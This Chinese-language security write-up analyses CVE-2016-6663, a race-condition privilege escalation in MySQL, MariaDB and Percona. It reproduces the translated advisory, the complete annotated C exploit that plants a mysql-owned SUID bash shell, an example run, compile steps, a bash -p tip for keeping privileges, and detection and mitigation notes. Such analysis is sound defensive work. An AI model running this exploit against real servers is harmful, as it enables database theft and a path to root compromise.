0x01 漏洞原文

翻译水平不高求轻喷
感觉作者在写文章的时候有些地方描述的也不是特别清楚,不过结合poc可以清晰理解漏洞利用过程
0x04漏洞利用过程总结给出了清晰的漏洞利用过程,结合poc食用效果更佳

# http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html
=============================================
- Release date: 01.11.2016
- Discovered by: Dawid Golunski
- Severity: Critical
- CVE-2016-6663 / OCVE-2016-5616
- http://legalhackers.com
=============================================

I. VULNERABILITY
-------------------------

MySQL / MariaDB / PerconaDB - Privilege Escalation / Race Condition

MariaDB 
    < 5.5.52
    < 10.1.18
    < 10.0.28

MySQL  
    <= 5.5.51
    <= 5.6.32
    <= 5.7.14

Percona Server
    < 5.5.51-38.2
    < 5.6.32-78-1
    < 5.7.14-8

Percona XtraDB Cluster
    < 5.6.32-25.17
    < 5.7.14-26.17
    < 5.5.41-37.0

III. INTRODUCTION
-------------------------

An independent research has revealed a race condition vulnerability which is 
present in MySQl, MariaDB and PerconaDB databases. 
一个独立研究者在MySQL,MariaDB, PerconaDB上发现一个竞态条件漏洞

The vulnerability can allow a local system user with access to the affected 
database in the context of a low-privileged account (CREATE/INSERT/SELECT grants) 
to escalate their privileges and execute arbitrary code as the database system 
user (typically 'mysql'). 
假设本地系统用户test_user具有访问数据库的一个低权限权限用户test_db_user,并且该用户具有数据库的create/insert/select权限。该漏洞可以将test_user权限提升为数据库系统用户权限(一般为mysql用户)

Successful exploitation would allow an attacker to gain access to all of the 
databases stored on the affected database server.
成功攻击后攻击者可以获取访问所有数据库文件的权限

The obtained level of access upon the exploitation, could be chained with
the other privilege escalation vulnerabilities discovered by the author of
this advisory (CVE-2016-6662 and CVE-2016-6664) to further escalate privileges 
from mysql user to root user and thus allow attackers to fully compromise the 
target server.
通过该漏洞获取权限后,可结合其他本地提权漏洞(如该漏洞作者发现的CVE-2016-6662 and CVE-2016-6664)进行更高的权限提升(从mysql到root),这会导致攻击者进一步对服务器造成危害

IV. DESCRIPTION
-------------------------

Table locations
​~~~~~~~~~~~~~~~~~~

MySQL-based databases allow users with CREATE table privilege to optionally
specify a disk path of the directory where the table will be stored via a DATA 
DIRECTORY parameter in the CREATE statement.
基于MySQL的数据库允许拥有Create权限的用户指定create table时table文件在磁盘上的存储路径(通过create语句的DATA DIRECTORY参数可以指定该路径)

Users who have access to a database account with CREATE grant could create a 
table under a directory that they can control. For example:
拥有create权限的用户可以在他们有权限的目录下创建一个table,例:

attacker@debian:~$ mkdir /tmp/disktable
attacker@debian:~$ chmod 777 /tmp/disktable/
attacker@debian:~$ ls -ld /tmp/disktable/
drwxrwxrwx 2 attacker attacker 4096 Oct 28 10:53 /tmp/disktable/

A user could then place a table within the directory with the following SQL 
statement:
该用户可以通过SQL语句在该目录下创建table:

mysql> CREATE TABLE poctab1 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';

which would result in creating the following table file:
以上操作会创建如下table文件:

attacker@debian:~$ ls -l /tmp/disktable/
total 0
-rw-rw---- 1 mysql mysql 0 Oct 28 10:53 poctab1.MYD

Race Condition
​~~~~~~~~~~~~~~~~~~

Observing file operations performed on the table stored within the directory, 
it was discovered that REPAIR TABLE SQL statement which is available to 
low-privileged users with SELECT/CREATE/INSERT grants, performed unsafe 
operations on temporary files created during the table repair process.
观察table被存储在指定路径时的文件操作,当运行table修复进程时,REPAIR TABLE的SQL语句存在一个对临时文件的不安全的文件操作,而且拥有select/create/insert权限的低权限用户可以执行REPAIR TABLE的SQL语句。

Executing the statement:
执行以下SQL语句:

mysql> REPAIR TABLE `poctab1`;
+----------------+--------+----------+----------+
| Table          | Op     | Msg_type | Msg_text |
+----------------+--------+----------+----------+
| testdb.poctab1 | repair | status   | OK       |
+----------------+--------+----------+----------+

would result in execution of the following system calls:
这条REPAIR TABLE语句会导致如下系统调用被执行:

[pid  1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
[pid  1463] open("/tmp/disktable/poctab1.MYD", O_RDWR) = 65
[pid  1463] access("./testdb/poctab1.TRG", F_OK) = -1 ENOENT (No such file or directory)
[pid  1463] lseek(65, 0, SEEK_CUR)      = 0
[pid  1463] lseek(65, 0, SEEK_END)      = 0
[pid  1463] mprotect(0x7f6a3804f000, 12288, PROT_READ|PROT_WRITE) = 0
[pid  1463] open("/tmp/disktable/poctab1.TMD", O_RDWR|O_CREAT|O_EXCL|O_TRUNC, 0660) = 66
[pid  1463] lseek(65, 0, SEEK_END)      = 0
[pid  1463] lseek(64, 0, SEEK_END)      = 1024
[pid  1463] close(65)                   = 0
[pid  1463] close(66)                   = 0
[pid  1463] lstat("/tmp", {st_mode=S_IFDIR|S_ISVTX|0777, st_size=4096, ...}) = 0
[pid  1463] lstat("/tmp/disktable", {st_mode=S_IFDIR|0777, st_size=4096, ...}) = 0
[pid  1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
[pid  1463] stat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
[pid  1463] chmod("/tmp/disktable/poctab1.TMD", 0660) = 0
[pid  1463] chown("/tmp/disktable/poctab1.TMD", 110, 115) = 0
[pid  1463] unlink("/tmp/disktable/poctab1.MYD") = 0
[pid  1463] rename("/tmp/disktable/poctab1.TMD", "/tmp/disktable/poctab1.MYD") = 0

The first call:

[pid  1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0

was found to check file permissions of poctab1.MYD table which are then copied with chmod()
to the newly created poctab1.TMD temporary file containing the repaired table.
第一系统调用会检查poctab1.MYD的权限,之后会通过chmod()将其权限复制到新创建的名为poctab1.TMD的临时文件,这个临时文件中存贮着被修复的table.

The code is vulnerable to Race Condition between the call:
以下两个操作间存在竞态条件漏洞:

[pid  1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0

and

[pid  1463] chmod("/tmp/disktable/poctab1.TMD", 0660) = 0

If an attacker managed to unlink the temporary table poctab1.TMD and replace it
with a symlink to /var/lib/mysql before the chmod() operation (i.e. win the race), 
they would be able to apply arbitrary permissions on the data directory. 
The attacker would be able to control the set of permissions by pre-setting them on
poctab1.MYD file before executing the REPAIR TABLE statement.
For example, by setting the permissions of poctab1.MYD to 777 the data directory
would become readable and writable to the attacker.
如果攻击者在chmod()操作前删除(即赢得竞争)poctab1.TMD并将其替换为一个指向/var/lib/mysql的符号链接,攻击者可以给该路径赋予任何权限。

攻击者可以在REPAIR TABLE语句执行前通过预设某个权限给poctab1.MYD文件来控制/var/lib/mysql的权限。

例如,给poctab1.MYD设置777的权限,mysql的数据目录(/var/lib/mysql)就会被设置为777权限,这时攻击者就可以对该目录进行读写。

(现在可以给/var/lib/mysql设置任意权限)

Obtaining mysql-suid shell
​~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Apart from gaining access to arbitrary mysql files, the attacker could also 
achieve arbitrary code execution in the context of mysql user (mysql shell).
除了获取访问任意mysql文件的权限,攻击者还可以mysql用户执行任意代码

This could be done by first pre-setting permissions on poctab1.MYD to 04777 
(suid), and winning the race so that the permissions get applied on a copy
of a bash shell file through the vulnerable chmod() call effectively creating
a shell that elevates their permissions after execution.
首先要设置poctab1.MYD的权限为04777(suid),之后复制一个bash shell文件覆盖poctab1.MYD, 然后赢得竞争,这时chmod()会将04777的权限赋予bash shell

There is only one problem. Their suid shell would remain to be owned by the 
attacker's user id and not 'mysql' user. 
要成功利用漏洞还有一个问题需要解决:suid shell将只会保留攻击者的UID,而不是mysql用户。

To elevate their privileges, attacker would need to copy the bash shell to a 
mysql-owned table file which are owned by mysql user.  However mysql table 
files are not writable by other users making it impossible for attacker to save 
the shell.
为了提升权限,攻击者需要拷贝bash shell到mysql用户拥有的table文件,但是other用户没有对表文件的写权限。

This could be bypassed if attacker created a specially crafted directory 
with a group sticky bit and then created a second table named 'poctab2' as
follows:
攻击者可以精心构造一个sgid的目录绕过以上限制,然后创建第二个表文件名为poctab2,如下

attacker@debian:/tmp/disktable$ chmod g+s /tmp/disktable/
attacker@debian:/tmp/disktable$ ls -ld /tmp/disktable/
drwxrwsrwx 2 attacker attacker 4096 Oct 28 11:25 /tmp/disktable/

mysql> CREATE TABLE poctab2 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';
Query OK, 0 rows affected (0.00 sec)

attacker@debian:/tmp/disktable$ ls -l /tmp/disktable/
total 0
-rw-rw---- 1 mysql mysql    0 Oct 28 11:04 poctab1.MYD
-rw-rw---- 1 mysql attacker 0 Oct 28 11:34 poctab2.MYD

As we can see poctab2.MYD table (thanks to the sticky bit (+s) on the permissions
of the group on disktable directory)  has 'mysql' as the owner but 'attacker' 
as the group. 
我们可以看到poctab2.MYD的owner为mysql但是group是attacker

Therefore, the attacker would now be able to copy /bin/bash to poctab2.MYD file 
and preserve the file owner.
因此,攻击者现在可以用/bin/bash覆盖poctab2.MYD文件并且可以保存文件的owner为mysql

Finally, they could exploit the Race Condition again and have SUID + exec 
permissions applied on poctab2.MYD which would then allow them to execute the suid 
shell with elevated privileges of the mysql user.
最后攻击者可以赢得竞争并获得suid+执行权限的poctab2.MYD,攻击者最终可以获得一个mysql user的shell

From mysql to root
​~~~~~~~~~~~~~~~~~~~~~~~~

After obtaining a mysql suid shell, attackers could then exploit one of the 
other MySQL vulnerabilities discovered by the author of this advisory:

CVE-2016-6662 
or
CVE-2016-6664 (OCVE-2016-5617)

to escalate their privileges from mysql user to root system user.
获得mysql shell之后,攻击者可以继续利用其他漏洞如CVE-2016-6662或者CVE-2016-6664提升权限到root

V. PROOF OF CONCEPT EXPLOIT
-------------------------

------------------[ mysql-privesc-race.c ]--------------------

见0x03漏洞利用代码分析

------------------[ EOF ]--------------------

Example run:
​~~~~~~~~~~~~~~

attacker@xenial:~/mysql-exploit$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 16.04.1 LTS
Release:    16.04
Codename:   xenial

attacker@xenial:~/mysql-exploit$ dpkg -l | grep -i mariadb-serv
ii  mariadb-server                     10.0.27-0ubuntu0.16.04.1          all          MariaDB database server (metapackage depending on the latest version)
ii  mariadb-server-10.0                10.0.27-0ubuntu0.16.04.1          amd64        MariaDB database server binaries
ii  mariadb-server-core-10.0           10.0.27-0ubuntu0.16.04.1          amd64        MariaDB database core server files

attacker@xenial:~/mysql-exploit$ id
uid=1001(attacker) gid=1001(attacker) groups=1001(attacker)

attacker@xenial:~/mysql-exploit$ mysql -uattacker -ppocsql -hlocalhost pocdb -e 'show grants;'
+-----------------------------------------------------------------------------------------------------------------+
| Grants for attacker@localhost                                                                                   |
+-----------------------------------------------------------------------------------------------------------------+
| GRANT USAGE ON *.* TO 'attacker'@'localhost' IDENTIFIED BY PASSWORD '*3CC3900C7B2B0A885AB128894FC10949340A09CC' |
| GRANT SELECT, INSERT, CREATE, DROP ON `pocdb`.* TO 'attacker'@'localhost'                                       |
+-----------------------------------------------------------------------------------------------------------------+

attacker@xenial:~/mysql-exploit$ ls -l /var/lib/mysql/mysql/user.*
ls: cannot access '/var/lib/mysql/mysql/user.*': Permission denied

attacker@xenial:~/mysql-exploit$ time ./mysql-privesc-race attacker pocsql localhost pocdb

MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit
mysql-privesc-race.c (ver. 1.0)

CVE-2016-6663 / OCVE-2016-5616

For testing purposes only. Do no harm.

Discovered/Coded by:

Dawid Golunski 
http://legalhackers.com

[+] Starting the exploit as: 
uid=1001(attacker) gid=1001(attacker) groups=1001(attacker)

[+] Connecting to the database `pocdb` as attacker@localhost

[+] Creating exploit temp directory /tmp/mysql_privesc_exploit

[+] Creating mysql tables

DROP TABLE IF EXISTS exploit_table 
DROP TABLE IF EXISTS mysql_suid_shell 
CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/mysql_privesc_exploit' 
CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/mysql_privesc_exploit'

[+] Copying bash into the mysql_suid_shell table. After the exploitation the following file/table will be assigned SUID and executable bits : 
-rw-rw---- 1 mysql attacker 1037528 Nov  1 02:33 /tmp/mysql_privesc_exploit/mysql_suid_shell.MYD

[+] Entering the race loop... Hang in there...

[+] Bingo! Race won (took 5 tries) ! Check out the mysql SUID shell:

-rwsrwxrwx 1 mysql attacker 1037528 Nov  1 02:33 /tmp/mysql_privesc_exploit/mysql_suid_shell.MYD

[+] Spawning the mysql SUID shell now... 
    Remember that from there you can gain root with vuln CVE-2016-6662 or CVE-2016-6664 :)

mysql_suid_shell.MYD-4.3$ whoami
mysql
mysql_suid_shell.MYD-4.3$ id
uid=1001(attacker) gid=1001(attacker) euid=107(mysql) groups=1001(attacker)
mysql_suid_shell.MYD-4.3$ ls -l /var/lib/mysql/mysql/user.*
-rw-rw---- 1 mysql mysql 2879 Oct 29 14:23 /var/lib/mysql/mysql/user.frm
-rw-rw---- 1 mysql mysql  168 Oct 29 22:35 /var/lib/mysql/mysql/user.MYD
-rw-rw---- 1 mysql mysql 4096 Oct 30 00:11 /var/lib/mysql/mysql/user.MYI
mysql_suid_shell.MYD-4.3$ exit
exit

[+] Job done. Exiting

real    0m28.999s
user    0m0.016s
sys 0m0.016s

VI. BUSINESS IMPACT
-------------------------

Malicious local users with DB access granted a common set of privileges 
(SELECT/INSERT/CREATE) could exploit this vulnerability to execute arbitrary 
code and escalate their privileges to mysql system user. This would allow them 
to gain access to all of the databases stored on the server as well as exploit 
CVE-2016-6662 or CVE-2016-6664 vulnerabilities to further elevate privileges
to root system user (rootshell) and fully compromise the target server.
拥有select/insert/create权限的恶意本地用户可以利用这个漏洞执行任意代码并且可以提升权限到mysql系统用户。这会使他们有权限访问服务器上的所有的数据库文件,结合CVE-2016-6662或者CVE-2016-6664可以进一步提升权限到root用户。

This vulnerability could for example be exploited by malicious users in a shared 
hosting environment where each user is supposed to have access to only one 
database assigned to them. 
例如,这个漏洞可以被共享环境(每个用户都被分配了一个可以访问的数据库)下的恶意用户利用。

It could also be exploited by attackers who have managed to find a vulnerability
in a website and gained access to the target system as a low-privileged user
(such as apache/www-data).
这个漏洞还可以被通过web入侵的已经获得了低权限用户(如apache/www-data用户)的攻击者利用

VIII. SOLUTION
-------------------------

Update to security releases issued by the vendor.
更新补丁。

As a temporary mitigation, you can disable symbolic link support in the
database server configuration with the following my.cnf config setting:
作为临时缓解措施,您可以在数据库配置文件my.cnf中禁用符号链接的支持

symbolic-links = 0

Nevertheless, an update to a patched release is recommended.
更好的解决方法是补丁更新后,建议为服务器打上最新补丁。

0x02 漏洞验证

mysql poc: http://legalhackers.com/exploits/CVE-2016-6663/mysql-privesc-race.c

系统: Debian 4.0.4-1 kali2 x86_64

MySQL版本: 5.5.47

低权限系统用户: attacker(新建的用户,低权限用户)

数据库: test_6663 用户: test_6663 密码: 6663

数据库权限:create/insert/select/drop

编译exp:

如果编译失败可能是缺少mysql库,使用sudo apt-get install libmysqld-dev安装

#若需指定mysqlclient动态链接库路径,可加上-L参数如-L/usr/lib64/mysql
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient

运行exp效果:

可以看到提权后的用户是mysql,可以读取mysql的数据文件,如图读到root密码为空,test_6663的mysql加密的密码

攻击成功后如果想再次获得mysql系统用户权限的shell不用再次进行攻击,只需运行mysql_suid_shell.MYD文件即可,但这个地方有个坑,直接运行该文件发现不会获得mysql权限,运行时需要加上-p参数,即./mysql_suid_shell.MYD -p -i(详细原因参加0x05漏洞/利用模型抽象 - 2.权限提升tips - 3.使用SUID)

0x03 漏洞利用代码分析

感觉作者在写文章的时候有些地方描述的也不是特别清楚,不过结合poc可以清晰理解漏洞利用过程

/*
MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit
mysql-privesc-race.c (ver. 1.0)CVE-2016-6663 / OCVE-2016-5616Discovered/Coded by:Dawid Golunskidawid[at]legalhackers.com
@dawid_golunski
http://legalhackers.comCompile:
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclientNote:
* On RedHat-based systems you might need to change /tmp to another public directory
在基于redhat的系统上,你可能需要将/tmp目录改为其他的目录如/uploads* For testing purposes only. Do no harm.  Full advisory URL:
http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html*/#include <fcntl.h>
#include <grp.h>
#include <mysql.h>
#include <pwd.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>#define EXP_PATH          "/tmp/mysql_privesc_exploit"
#define EXP_DIRN          "mysql_privesc_exploit"
#define MYSQL_TAB_FILE    EXP_PATH "/exploit_table.MYD"
#define MYSQL_TEMP_FILE   EXP_PATH "/exploit_table.TMD"#define SUID_SHELL        EXP_PATH "/mysql_suid_shell.MYD"#define MAX_DELAY 1000    // can be used in the race to adjust the timing if necessaryMYSQL *conn;          // DB handles
MYSQL_RES *res;
MYSQL_ROW row;unsigned long cnt;void intro() {printf( "\033[94m\n""MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit\n""mysql-privesc-race.c (ver. 1.0)\n\n""CVE-2016-6663 / OCVE-2016-5616\n\n""For testing purposes only. Do no harm.\n\n""Discovered/Coded by:\n\n""Dawid Golunski \n""http://legalhackers.com""\033[0m\n\n");}void usage(char *argv0) {intro();printf("Usage:\n\n%s user pass db_host database\n\n", argv0);
}void mysql_cmd(char *sql_cmd, int silent) {if (!silent) {printf("%s \n", sql_cmd);}if (mysql_query(conn, sql_cmd)) {fprintf(stderr, "%s\n", mysql_error(conn));exit(1);}res = mysql_store_result(conn);if (res>0) mysql_free_result(res);}int main(int argc,char **argv)
{int randomnum = 0;int io_notified = 0;int myd_handle;int wpid;int is_shell_suid=0;pid_t pid;int status;struct stat st;/* io notify */int fd;int ret;char buf[4096] __attribute__((aligned(8)));int num_read;struct inotify_event *event;/* credentials */char *user     = argv[1];char *password = argv[2];char *db_host  = argv[3];char *database = argv[4];// Disable buffering of stdoutsetvbuf(stdout, NULL, _IONBF, 0);// Get the paramsif (argc!=5) {usage(argv[0]);exit(1);} intro();// Show initial privilegesprintf("\n[+] Starting the exploit as: \n");system("id");// Connect to the database server with provided credentials// 连接数据库printf("\n[+] Connecting to the database `%s` as %s@%s\n", database, user, db_host);conn = mysql_init(NULL);if (!mysql_real_connect(conn, db_host, user, password, database, 0, NULL, 0)) {fprintf(stderr, "%s\n", mysql_error(conn));exit(1);}// Prepare tmp dir// 新建目录/tmp/mysql_privesc_exploit,并未该目录设置SGIDprintf("\n[+] Creating exploit temp directory %s\n", "/tmp/" EXP_DIRN);umask(000);system("rm -rf /tmp/" EXP_DIRN " && mkdir /tmp/" EXP_DIRN);system("chmod g+s /tmp/" EXP_DIRN );// Prepare exploit tables :)// 新建两个表exploit_table和mysql_suid_shellprintf("\n[+] Creating mysql tables \n\n");mysql_cmd("DROP TABLE IF EXISTS exploit_table", 0);mysql_cmd("DROP TABLE IF EXISTS mysql_suid_shell", 0);mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);mysql_cmd("CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);// Copy /bin/bash into the mysql_suid_shell.MYD mysql table file// The file should be owned by mysql:attacker thanks to the sticky bit on the table directory// 拷贝/bin/bash到mysql_suid_shell.MYDprintf("\n[+] Copying bash into the mysql_suid_shell table.\n    After the exploitation the following file/table will be assigned SUID and executable bits : \n");system("cp /bin/bash " SUID_SHELL);system("ls -l " SUID_SHELL);// Use inotify to get the timing rightfd = inotify_init();if (fd < 0) {printf("failed to inotify_init\n");return -1;}ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE);/* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID+exec perms */printf("\n[+] Entering the race loop... Hang in there...\n");// 判断mysql_suid_shell.MYD是否被设置了suidwhile ( is_shell_suid != 1 ) {cnt++;if ( (cnt % 100) == 0 ) {printf("->");//fflush(stdout);   }/* Create empty file , remove if already exists */// 删除exploit_table.TMDunlink(MYSQL_TEMP_FILE);// 删除exploit_table.MYDunlink(MYSQL_TAB_FILE);mysql_cmd("DROP TABLE IF EXISTS exploit_table", 1);mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 1);/* random num if needed */srand ( time(NULL) );randomnum = ( rand() % MAX_DELAY );// Fork, to run the query asynchronously and have time to replace table file (MYD) with a symlink// 替换exploit_table.tmd为符号链接pid = fork();if (pid < 0) {fprintf(stderr, "Fork failed :(\n");}/* Child process - executes REPAIR TABLE  SQL statement */// 子进程执行REPAIR操作, 该操作会生成一个TMD文件if (pid == 0) {usleep(500);unlink(MYSQL_TEMP_FILE);mysql_cmd("REPAIR TABLE exploit_table EXTENDED", 1);// child stops hereexit(0);}// 父进程将exploit_table.tmd替换为符号链接/* Parent process - aims to replace the temp .tmd table with a symlink before chmod */if (pid > 0 ) {io_notified = 0;while (1) {int processed = 0;ret = read(fd, buf, sizeof(buf));if (ret < 0) {break;}while (processed < ret) {event = (struct inotify_event *)(buf + processed);if (event->mask & IN_CLOSE) {if (!strcmp(event->name, "exploit_table.TMD")) {//usleep(randomnum);// Set the .MYD permissions to suid+exec before they get copied to the .TMD file // 将MYD的权限设置为04777(suid+exec)// 删除mysql建立的exploit_table.MYDunlink(MYSQL_TAB_FILE);// 以attacker身份新建exploit_table.MYDmyd_handle = open(MYSQL_TAB_FILE, O_CREAT, 0777);close(myd_handle);// 将MYD权限改为04777chmod(MYSQL_TAB_FILE, 04777);// 将exploit_table.TMD换为符号链接,指向mysql_suid_shell.TMD// Replace the temp .TMD file with a symlink to the target sh binary to get suid+execunlink(MYSQL_TEMP_FILE);symlink(SUID_SHELL, MYSQL_TEMP_FILE);io_notified=1;}}processed += sizeof(struct inotify_event);}if (io_notified) {break;}}waitpid(pid, &status, 0);}// Check if SUID bit was set at the end of this attemptif ( lstat(SUID_SHELL, &st) == 0 ) {if (st.st_mode & S_ISUID) {is_shell_suid = 1;}} }printf("\n\n[+] \033[94mBingo! Race won (took %lu tries) !\033[0m Check out the \033[94mmysql SUID shell\033[0m: \n\n", cnt);system("ls -l " SUID_SHELL);printf("\n[+] Spawning the \033[94mmysql SUID shell\033[0m now... \n    Remember that from there you can gain \033[1;31mroot\033[0m with vuln \033[1;31mCVE-2016-6662\033[0m or \033[1;31mCVE-2016-6664\033[0m :)\n\n");//启动bash shell,因为设置了SUID,所以会获得mysql权限system(SUID_SHELL " -p -i ");//system(SUID_SHELL " -p -c '/bin/bash -i -p'");/* close MySQL connection and exit */printf("\n[+] Job done. Exiting\n\n");mysql_close(conn);return 0;}

0x04 漏洞利用过程总结

两个重要过程:

  1. MySQL创建表指定路径(虽然和漏洞利用没太大关系但还是提一下XD)

    MySQL指定create table的路径时会将数据库MYD文件存放在指定路径,并且会在/var/lib/mysql/database_name/下建立符号链接

  1. MySQL REPAIR过程

    strace -p pid_of_mysql -f -o output_file

    修复过程中原MYD文件会被删除,TMD文件会被重命名为新的MYD文件,漏洞存在于lstat和chmod之间(见0x01漏洞原文和0x05 1.竞态条件漏洞模型)

以漏洞利用中操作的数据库表的不同进行分类,整个漏洞利用过程可分为两块:

  1. 对mysql_suid_shell表的操作

    新建mysql_suid_shell表,并将MYD文件指定存储到设置sgid的文件夹/tmp/mysql_privesc_exploit中,使得mysql_suid_shell.MYD的属性变为mysql的owner和attacker的group(原理见0x05),从而attacker可以拷贝/bin/bash到/tmp/mysql_privesc_exploit/mysql_suid_shell.MYD,并且文件的owner为mysql

  2. 对exploit_table表的操作

    新建exploit_table表,并将MYD文件指定存储到/tmp/mysql_privesc_exploit中,删除mysql建立的MYD,以attacker身份新建MYD, 然后Repair exploit_table, 在repair的过程中会生成TMD文件,通过赢得竞争将TMD文件设置为指向mysql_suid_shell.MYD的符号链接,因为TMD的权限与MYD相同,MYD的权限可由attacker控制,从而实现修改mysql_suid_shell.MYD的权限为04777(set-uid+exec),然后启动mysql_suid_shell.MYD即可

攻击成功后/tmp/mysql_privesc_exploit下文件的状态:

root@dlive:/tmp/mysql_privesc_exploit# ls -la
总用量 1016
drwxrwsrwx  2 attacker attacker    4096 11月  9 19:15 .
drwxrwxrwt 18 root     root        4096 11月  9 19:12 ..
-rwsrwxrwx  1 attacker attacker       0 11月  9 19:15 exploit_table.MYD
lrwxrwxrwx  1 attacker attacker      47 11月  9 19:15 exploit_table.TMD -> /tmp/mysql_privesc_exploit/mysql_suid_shell.MYD
-rwsrwxrwx  1 mysql    attacker 1029624 11月  9 19:12 mysql_suid_shell.MYD

0x05 漏洞/利用模型抽象

根据漏洞原理我们可以抽象出一个简化的漏洞模型,漏洞模型的抽象有利于对漏洞的理解和知识体系的形成。

这个CVE-2016-6663可以被抽象为两个漏洞模型(比较简单):

1.竞态条件漏洞模型

在此漏洞中首先对MYD文件进行了lstat()操作获取其权限信息,然后对TMD文件进行chmod()操作,将获取的权限信息赋予TMD,若lstat后将TMD文件换为符号链接,连接到攻击者可控文件,攻击者即可进行权限提升。

详细竞态条件漏洞demo可以参考SEEDLabs的实验:

http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Race_Condition/

2.权限提升tips

  1. 使用符号链接

    ln -s file1 file2 #创建符号链接file2指向file1

    对符号链接chmod的效果是目标文件的权限会被改变,有的时候符号链接还可以用来绕过目录访问限制

  2. 使用SGID

    如果对目录设置SGID,那么会有如下效果:

    若使用者在此目录下具有w的权限(可以新建文件),则使用者所创建的新文件,该新文件的group与此目录的group相同。

  3. 使用SUID

    设置SUID的mysql_suid_shell.MYD会以其owner权限运行,但是这有个坑,就是bash对suid有保护,运行mysql_suid_shell.MYD时需要加上-p选项才能真正让SUID生效(参加:http://unix.stackexchange.com/questions/116792/privileged-mode-in-bash)

    #bash man page-p Turn on privileged mode.  In this mode, the `$BASH_ENV' and`$ENV' files are not processed, shell functions are notinherited from the environment, and the `SHELLOPTS',`BASHOPTS', `CDPATH' and `GLOBIGNORE' variables, if theyappear in the environment, are ignored.  If the shell isstarted with the effective user (group) id not equal to thereal user (group) id, and the `-p' option is not supplied,these actions are taken and the effective user id is set tothe real user id.  If the `-p' option is supplied at startup,the effective user id is not reset.  Turning this option offcauses the effective user and group ids to be set to the realuser and group ids.

0x06 应急响应

该漏洞的暂时修补方案为在my.conf中禁用符号链接

symbolic-links = 0

攻击检测:

CVE-2016-6663作者提供的exp默认在提权成功后未删除表和表文件,所以我们可以简单从一下几点判断是否服务器是否被此漏洞攻击

  1. mysql --vesion 判断版本信息
  2. /tmp/mysql_privesc_exploit 文件夹是否存在,以及文件夹下是否存在exploit_table.MYD, exploit_table.TMD, mysql_suid_shell.MYD等文件
  3. /var/lib/mysql/下面某数据库目录下是否存在exploit_table.MYD或mysql_suid_shell.MYD的符号链接
  4. mysql数据库中是否存在exploit_table或mysql_suid_shell表

0x07 参考资料

http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html

http://bobao.360.cn/learning/detail/3152.html

http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Race_Condition/

http://unix.stackexchange.com/questions/116792/privileged-mode-in-bash

cve -2016-6663 mysql 本地提权相关推荐

  1. cve-2016-6664 mysql本地提权

    0x00 前言 这个漏洞可以结合CVE-2016-6663使用提升权限到root 0x01 漏洞原文 # http://legalhackers.com/advisories/MySQL-Maria- ...

  2. mysql cve 2016 3521_MySQL-based databases CVE -2016-6663 本地提权

    @date: 2016/11/3 @author: dlive 0x01 漏洞原文 翻译水平不高求轻喷 感觉作者在写文章的时候有些地方描述的也不是特别清楚,不过结合poc可以清晰理解漏洞利用过程 0x ...

  3. sqlite字段是否存在_【漏洞预警】Linux内核存在本地提权漏洞(CVE20198912)

    更多资讯和分析文章请关注启明星辰ADLab微信公众号及官方网站(adlab.venustech.com.cn) 漏洞背景 近日,Linux git中发布一个commit补丁,该补丁对应的漏洞是一个本地 ...

  4. CVE-2014-7911 Android本地提权漏洞分析与利用

    概述 前面我们了解了Android Binder机制的基本原理,当然仅仅了解是不够的,我们要做到:Know it and hack it.这篇文章我们就来分析一个和Binder相关的漏洞:CVE-20 ...

  5. 脏牛Linux本地提权漏洞复现(CVE-2016-5195、Linux、Android、提权)

    漏洞范围: Linux kernel >= 2.6.22(2007年发行,到2016年10月18日才修复) 危害: 低权限用户利用该漏洞可以在众多Linux系统上实现本地提权 简要分析: 该漏洞 ...

  6. 2019最有意思的五大 ZDI 案例之:通过调色板索引实现 Win32k.sys 本地提权漏洞(上)...

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 本文是趋势科技 ZDI 项目推出的第二届年度最有意思的五大案例系列文章之一.他们从1000多份安全公告中遴选出这些案例,奇安信代码卫士 ...

  7. CVE-2016-1240 Tomcat 服务本地提权漏洞

    catalogue 1. 漏洞背景 2. 影响范围 3. 漏洞原理 4. 漏洞PoC 5. 修复方案 1. 漏洞背景 Tomcat是个运行在Apache上的应用服务器,支持运行Servlet/JSP应 ...

  8. 安全测试(三) 服务器安全 渗透测试 常规服务器安全漏洞 高危端口暴露、弱口令密码、暴力破解、服务器提权、Mysql数据库提权等 浅谈《社会工程学》实战案例

